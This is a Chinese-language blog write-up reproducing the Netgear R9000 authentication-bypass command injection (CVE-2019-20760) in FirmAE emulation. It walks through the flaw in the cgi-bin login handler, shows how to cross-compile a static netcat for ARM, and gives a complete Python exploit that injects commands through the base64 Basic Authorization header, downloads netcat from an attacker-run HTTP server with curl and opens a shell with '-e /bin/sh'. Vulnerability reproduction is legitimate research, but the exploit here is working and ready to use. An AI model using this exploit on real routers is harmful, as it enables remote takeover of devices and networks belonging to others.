Netgear R9000 RCE漏洞复现
Netgear R9000 RCE漏洞复现

Netgear R9000 RCE漏洞复现

Netgear R9000 RCE漏洞复现

0x00 简介

品牌型号:Netgear R9000
固件版本:R9000-V1.0.4.26
固件下载地址:https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip
漏洞编号:CVE-2019-20760
漏洞描述:NETGEAR R9000 devices before 1.0.4.26 are affected by authentication bypass.
1.0.4.26之前的NETGEAR R9000设备受身份验证绕过的影响。

0x01 FrmAE固件模拟

使用FirmAE直接运行模拟
sudo ./run.sh -d netgear ~/Desktop/Firm/R9000-V1.0.4.26.img

FirmAE返回两个true,说明固件和web服务器都模拟成功,但是打开浏览器输入192.168.1.1,却无法访问到主页,不过访问别的页面会提示未授权,说明核心的web服务是开启的状态。

浏览器输入http://192.168.1.1/cgi-bin/
会弹出登录框提示输入用户名和密码

这里随便输入admin,密码123456,点击Sign in然后抓取发送的包

可以看到我们输入的用户名和密码被加密了,加密算法是base64。在密码这里,我们输入任意命令,都会被系统执行。
我们改掉冒号后面的内容为我们想执行的命令,比如 echo 1 >/tmp/1.txt


点击发送,然后在FirmAE shell里面查看,发现指令成功执行

打开IDA,可以看到漏洞点位于这里,程序拿到GET包之后,对包里面的内容做了识别,识别Basic后面的字符,然后调用b64decode()函数对Basic后面的参数进行decode,然后用strchr找到里面的”:”字符,对”:”后面的字符进行哈希加密,然后存入/tmp/hash_result文件,这条命令调用了system函数执行,将密码字段换成带或者,就可以执行任意命令了。

0x02 漏洞利用

看了一下固件里面的二进制文件,发现里面有wget,curl等工具,我们就可以试试用wget或者curl传进去一个木马或者netcat来达到控制路由器的目的。由于目标系统是arm32架构,我们需要自己编译一个nc,而且得是静态的。
先去netcat官网下载源码:
https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
解压:tar -xvf netcat-0.7.1.tar.gz
安装交叉编译器:sudo apt-get install gcc-arm-linux-gnueabihf
更改编译器为arm-linux-gnueabihf-gcc:./configure --host=arm-linux-gnueabihf
设置静态编译:打开configure文件,在里面任意位置加入这句话:
export LDFLAGS="-static"
开始编译:make
然后在src目录下就能拿到我们编译的二进制文件netcat

在这个目录下开启http服务,以便路由器下载netcat:python3 -m http.server
然后运行我们的脚本。

import requests
from pwn import *
import base64

cmd = 'admin:'
cmd += '`'
cmd +='curl -O 192.168.1.2:8000/netcat\n'
cmd +='chmod 777 ./netcat\n'
cmd += './netcat -l -p 4444 -e /bin/sh'
cmd +='`'
cmd_b64 = base64.b64encode(cmd.encode()).decode()

burp0_url = "http://192.168.1.1:80/cgi-bin/"
burp0_headers = {"Cache-Control": "max-age=0", 
"Authorization": "Basic " + cmd_b64, 
"Upgrade-Insecure-Requests": "1", 
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36", 
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", 
"Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
requests.get(burp0_url, headers=burp0_headers)

这里用curl而不是用wget的原因,是经测试,FirmAE模拟下的R9000固件运行wget会报错,所以只能用curl -O下载文件。

然后chmod 777 ./netcat给权限,然后使用./netcat -l -p 4444 -e /bin/sh开启反弹shell
执行脚本:

攻击端执行:nc 192.168.1.1 4444

成功拿到shell。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注